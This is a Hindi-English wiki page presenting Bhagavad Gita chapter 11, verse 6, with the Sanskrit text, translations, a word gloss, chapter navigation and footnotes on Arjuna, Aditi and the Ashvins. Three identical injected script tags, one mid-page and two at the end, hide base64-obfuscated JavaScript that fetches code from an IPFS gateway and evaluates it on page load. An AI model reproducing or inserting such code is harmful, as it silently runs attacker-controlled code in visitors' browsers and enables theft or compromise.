गीता 11:6

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

गीता अध्याय-11 श्लोक-6 / Gita Chapter-11 Verse-6


पश्यादित्यान्वसून्रुद्रानश्विनौ मरूतस्तथा ।
बहून्यदृष्टपूर्वाणि पश्याश्चर्याणि भारत ।।6।।



हे भरतवंशी अर्जुन[1] ! मुझमें आदित्यों को अर्थात् अदिति[2] के द्वादश पुत्रों को, आठ वसुओं को, एकादश रुद्रों को, दोनों अश्विनी कुमारों[3] को और उनचास मरूद्गणों को देख तथा और भी बहुत-से पहले न देखे हुए आश्चर्यमय रूपों को देख ।।6।।

Behold in Me, Arjuna, the twelve sons of Aditi, the eight Vasus, the eleven Rudras (gods of destruction), the two Asvinikumaras (the twin-born physicians of gods) and the fortynine maruts(winds-gods), and witness many more wonderful forms never seen before. (6)


भारत = हे भरतवंशी अर्जुन(मेरे में); आदित्यान् = आदित्यों को अर्थात् अदिति के द्वादश पुत्रों को(और); वसून = आठ वसुओंको; रुद्रान् = एकादश रुद्रोंको(तथा); अश्विनौ =दोनों अश्विनीकुमारों को(और); मरूत: = उन्चास मरूगउणोंको; पश्य = देख; बहूनि = बहुतसे; अदृष्टपूर्वाणि = पहिले न देखे हुए; आश्र्वर्याणि = आश्र्वर्यमय रूपोंको



अध्याय ग्यारह श्लोक संख्या
Verses- Chapter-11

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10, 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26, 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41, 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55

अध्याय / Chapter:
एक (1) | दो (2) | तीन (3) | चार (4) | पाँच (5) | छ: (6) | सात (7) | आठ (8) | नौ (9) | दस (10) | ग्यारह (11) | बारह (12) | तेरह (13) | चौदह (14) | पन्द्रह (15) | सोलह (16) | सत्रह (17) | अठारह (18)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. महाभारत के मुख्य पात्र है। वे पाण्डु एवं कुन्ती के तीसरे पुत्र थे। सर्वश्रेष्ठ धनुर्धर के रूप में वे प्रसिद्ध थे। द्रोणाचार्य के सबसे प्रिय शिष्य भी वही थे। द्रौपदी को स्वयंवर में भी उन्होंने ही जीता था।
  2. अदिति दक्ष प्रजापति की पुत्री थीं और कश्यप ऋषि को ब्याही थीं। इनको देवमाता कहा गया है।
  3. अश्विनी से उत्पन्न, सूर्य के औरस पुत्र, दो वैदिक देवता थे। ये देव चिकित्सक थे।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>